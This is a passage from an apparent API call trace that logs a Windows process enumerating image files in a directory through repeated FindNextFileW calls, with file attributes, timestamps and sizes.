lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1034e00, ftCreationTime.dwHighDateTime=0x1be75a5, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1034e00, ftLastWriteTime.dwHighDateTime=0x1be75a5, nFileSizeHigh=0x0, nFileSizeLow=0x27ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234657.WMF", cAlternateFileName="")) returned 1 [0073.449] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9eeb500, ftCreationTime.dwHighDateTime=0x1bf2be6, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9eeb500, ftLastWriteTime.dwHighDateTime=0x1bf2be6, nFileSizeHigh=0x0, nFileSizeLow=0xd4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0234687.GIF", cAlternateFileName="")) returned 1 [0073.449] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85566d00, ftCreationTime.dwHighDateTime=0x1be911f, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85566d00, ftLastWriteTime.dwHighDateTime=0x1be911f, nFileSizeHigh=0x0, nFileSizeLow=0x1820, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0235241.WMF", cAlternateFileName="")) returned 1 [0073.449] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c56b00, ftCreationTime.dwHighDateTime=0x1c0371d, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4c56b00, ftLastWriteTime.dwHighDateTime=0x1c0371d, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0235319.WMF", cAlternateFileName="")) returned 1 [0073.449] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bd8800, ftCreationTime.dwHighDateTime=0x1be9cd9, ftLastAccessTime.dwLowDateTime=0xbd5853c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb0bd8800, ftLastWriteTime.dwHighDateTime=0x1be9cd9, nFileSizeHigh=0x0, nFileSizeLow=0x13d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240695.WMF", cAlternateFileName="")) returned 1 [0073.449] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc16dfe00, ftCreationTime.dwHighDateTime=0x1be9cd9, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc16dfe00, ftLastWriteTime.dwHighDateTime=0x1be9cd9, nFileSizeHigh=0x0, nFileSizeLow=0x1aa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240719.WMF", cAlternateFileName="")) returned 1 [0073.449] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d89700, ftCreationTime.dwHighDateTime=0x1beb2f4, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x28d89700, ftLastWriteTime.dwHighDateTime=0x1beb2f4, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0251301.WMF", cAlternateFileName="")) returned 1 [0073.449] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf384f00, ftCreationTime.dwHighDateTime=0x1beb2f6, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf384f00, ftLastWriteTime.dwHighDateTime=0x1beb2f6, nFileSizeHigh=0x0, nFileSizeLow=0x1232, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0251871.WMF", cAlternateFileName="")) returned 1 [0073.449] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db62a00, ftCreationTime.dwHighDateTime=0x1beb2f6, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3db62a00, ftLastWriteTime.dwHighDateTime=0x1beb2f6, nFileSizeHigh=0x0, nFileSizeLow=0x11b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0251925.WMF", cAlternateFileName="")) returned 1 [0073.449] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb8de800, ftCreationTime.dwHighDateTime=0x1beb2f7, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfb8de800, ftLastWriteTime.dwHighDateTime=0x1beb2f7, nFileSizeHigh=0x0, nFileSizeLow=0x158c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0252349.WMF", cAlternateFileName="")) returned 1 [0073.449] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fdf2000, ftCreationTime.dwHighDateTime=0x1beccca, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fdf2000, ftLastWriteTime.dwHighDateTime=0x1beccca, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0278882.WMF", cAlternateFileName="")) returned 1 [0073.449] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd0c800, ftCreationTime.dwHighDateTime=0x1bee443, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xecd0c800, ftLastWriteTime.dwHighDateTime=0x1bee443, nFileSizeHigh=0x0, nFileSizeLow=0x4ffa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281904.WMF", cAlternateFileName="")) returned 1 [0073.449] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1a4f200, ftCreationTime.dwHighDateTime=0x1bed3d9, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe1a4f200, ftLastWriteTime.dwHighDateTime=0x1bed3d9, nFileSizeHigh=0x0, nFileSizeLow=0x4dc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0283209.GIF", cAlternateFileName="")) returned 1 [0073.449] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ae3400, ftCreationTime.dwHighDateTime=0x1bea1cc, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7ae3400, ftLastWriteTime.dwHighDateTime=0x1bea1cc, nFileSizeHigh=0x0, nFileSizeLow=0x62e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0284916.JPG", cAlternateFileName="")) returned 1 [0073.450] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa68bc300, ftCreationTime.dwHighDateTime=0x1befd79, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa68bc300, ftLastWriteTime.dwHighDateTime=0x1befd79, nFileSizeHigh=0x0, nFileSizeLow=0x7876, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285360.WMF", cAlternateFileName="")) returned 1 [0073.450] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd63acb00, ftCreationTime.dwHighDateTime=0x1befd79, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd63acb00, ftLastWriteTime.dwHighDateTime=0x1befd79, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285410.WMF", cAlternateFileName="")) returned 1 [0073.450] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d5a00, ftCreationTime.dwHighDateTime=0x1befd7a, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x97d5a00, ftLastWriteTime.dwHighDateTime=0x1befd7a, nFileSizeHigh=0x0, nFileSizeLow=0x2448, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285444.WMF", cAlternateFileName="")) returned 1 [0073.450] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d3c7300, ftCreationTime.dwHighDateTime=0x1befd7b, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d3c7300, ftLastWriteTime.dwHighDateTime=0x1befd7b, nFileSizeHigh=0x0, nFileSizeLow=0x2a12, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285698.WMF", cAlternateFileName="")) returned 1 [0073.450] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ecd1e00, ftCreationTime.dwHighDateTime=0x1befd7b, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9ecd1e00, ftLastWriteTime.dwHighDateTime=0x1befd7b, nFileSizeHigh=0x0, nFileSizeLow=0x958c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285750.WMF", cAlternateFileName="")) returned 1 [0073.450] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95908100, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x95908100, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x3452, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285926.WMF", cAlternateFileName="")) returned 1 [0073.450] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf49a800, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbf49a800, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x9e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0286034.WMF", cAlternateFileName="")) returned 1 [0073.450] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5efff00, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd5efff00, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x9d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0286068.WMF", cAlternateFileName="")) returned 1 [0073.450] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa019c00, ftCreationTime.dwHighDateTime=0x1bef57a, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa019c00, ftLastWriteTime.dwHighDateTime=0x1bef57a, nFileSizeHigh=0x0, nFileSizeLow=0xb21e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287005.WMF", cAlternateFileName="")) returned 1 [0073.450] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x948c7400, ftCreationTime.dwHighDateTime=0x1bf1521, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x948c7400, ftLastWriteTime.dwHighDateTime=0x1bf1521, nFileSizeHigh=0x0, nFileSizeLow=0x76ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0291984.WMF", cAlternateFileName="")) returned 1 [0073.450] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9003000, ftCreationTime.dwHighDateTime=0x1bf1521, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9003000, ftLastWriteTime.dwHighDateTime=0x1bf1521, nFileSizeHigh=0x0, nFileSizeLow=0x7148, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292020.WMF", cAlternateFileName="")) returned 1 [0073.450] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4af05900, ftCreationTime.dwHighDateTime=0x1bf1522, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4af05900, ftLastWriteTime.dwHighDateTime=0x1bf1522, nFileSizeHigh=0x0, nFileSizeLow=0x20ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292152.WMF", cAlternateFileName="")) returned 1 [0073.450] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48b60800, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x48b60800, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x998, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292982.WMF", cAlternateFileName="")) returned 1 [0073.450] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x5ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293234.WMF", cAlternateFileName="")) returned 1 [0073.450] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x766, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293236.WMF", cAlternateFileName="")) returned 1 [0073.450] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293238.WMF", cAlternateFileName="")) returned 1 [0073.450] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c285600, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9c285600, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x88e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293240.WMF", cAlternateFileName="")) returned 1 [0073.450] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47a99d00, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x47a99d00, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x92c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293570.WMF", cAlternateFileName="")) returned 1 [0073.450] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0911500, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb0911500, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x15ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293828.WMF", cAlternateFileName="")) returned 1 [0073.450] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7b82300, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7b82300, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x812, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293844.WMF", cAlternateFileName="")) returned 1 [0073.450] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72dc8d00, ftCreationTime.dwHighDateTime=0x1bf0891, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72dc8d00, ftLastWriteTime.dwHighDateTime=0x1bf0891, nFileSizeHigh=0x0, nFileSizeLow=0x29e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0295241.GIF", cAlternateFileName="")) returned 1 [0073.450] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b4c2400, ftCreationTime.dwHighDateTime=0x1bf2c95, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7b4c2400, ftLastWriteTime.dwHighDateTime=0x1bf2c95, nFileSizeHigh=0x0, nFileSizeLow=0xcd52, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297185.WMF", cAlternateFileName="")) returned 1 [0073.451] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74beac00, ftCreationTime.dwHighDateTime=0x1bf2c97, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74beac00, ftLastWriteTime.dwHighDateTime=0x1bf2c97, nFileSizeHigh=0x0, nFileSizeLow=0x6db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297551.WMF", cAlternateFileName="")) returned 1 [0073.451] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50170400, ftCreationTime.dwHighDateTime=0x1bf2c98, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x50170400, ftLastWriteTime.dwHighDateTime=0x1bf2c98, nFileSizeHigh=0x0, nFileSizeLow=0xa7c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297707.WMF", cAlternateFileName="")) returned 1 [0073.451] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x848ac000, ftCreationTime.dwHighDateTime=0x1bf2c98, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x848ac000, ftLastWriteTime.dwHighDateTime=0x1bf2c98, nFileSizeHigh=0x0, nFileSizeLow=0x27ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297749.WMF", cAlternateFileName="")) returned 1 [0073.451] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3dea00, ftCreationTime.dwHighDateTime=0x1bf2c8c, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xae3dea00, ftLastWriteTime.dwHighDateTime=0x1bf2c8c, nFileSizeHigh=0x0, nFileSizeLow=0x197e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0298653.WMF", cAlternateFileName="")) returned 1 [0073.451] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dcbb900, ftCreationTime.dwHighDateTime=0x1bf2c8d, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2dcbb900, ftLastWriteTime.dwHighDateTime=0x1bf2c8d, nFileSizeHigh=0x0, nFileSizeLow=0x19a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0298897.WMF", cAlternateFileName="")) returned 1 [0073.451] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15fa3200, ftCreationTime.dwHighDateTime=0x1bf2c99, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x15fa3200, ftLastWriteTime.dwHighDateTime=0x1bf2c99, nFileSizeHigh=0x0, nFileSizeLow=0x163c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299125.WMF", cAlternateFileName="")) returned 1 [0073.451] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x375b1e00, ftCreationTime.dwHighDateTime=0x1bf2c99, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x375b1e00, ftLastWriteTime.dwHighDateTime=0x1bf2c99, nFileSizeHigh=0x0, nFileSizeLow=0x23b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299171.WMF", cAlternateFileName="")) returned 1 [0073.451] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa08f6100, ftCreationTime.dwHighDateTime=0x1bf2c9a, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa08f6100, ftLastWriteTime.dwHighDateTime=0x1bf2c9a, nFileSizeHigh=0x0, nFileSizeLow=0x62c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299587.WMF", cAlternateFileName="")) returned 1 [0073.451] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2b9900, ftCreationTime.dwHighDateTime=0x1bf2c9a, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd2b9900, ftLastWriteTime.dwHighDateTime=0x1bf2c9a, nFileSizeHigh=0x0, nFileSizeLow=0x1310, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299611.WMF", cAlternateFileName="")) returned 1 [0073.451] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e1a5400, ftCreationTime.dwHighDateTime=0x1bf2c9b, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5e1a5400, ftLastWriteTime.dwHighDateTime=0x1bf2c9b, nFileSizeHigh=0x0, nFileSizeLow=0x4322, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299763.WMF", cAlternateFileName="")) returned 1 [0073.451] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0508500, ftCreationTime.dwHighDateTime=0x1bf3a1b, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf0508500, ftLastWriteTime.dwHighDateTime=0x1bf3a1b, nFileSizeHigh=0x0, nFileSizeLow=0x3465, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0300520.GIF", cAlternateFileName="")) returned 1 [0073.451] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b61300, ftCreationTime.dwHighDateTime=0x1bf452c, ftLastAccessTime.dwLowDateTime=0xbd68fd60, 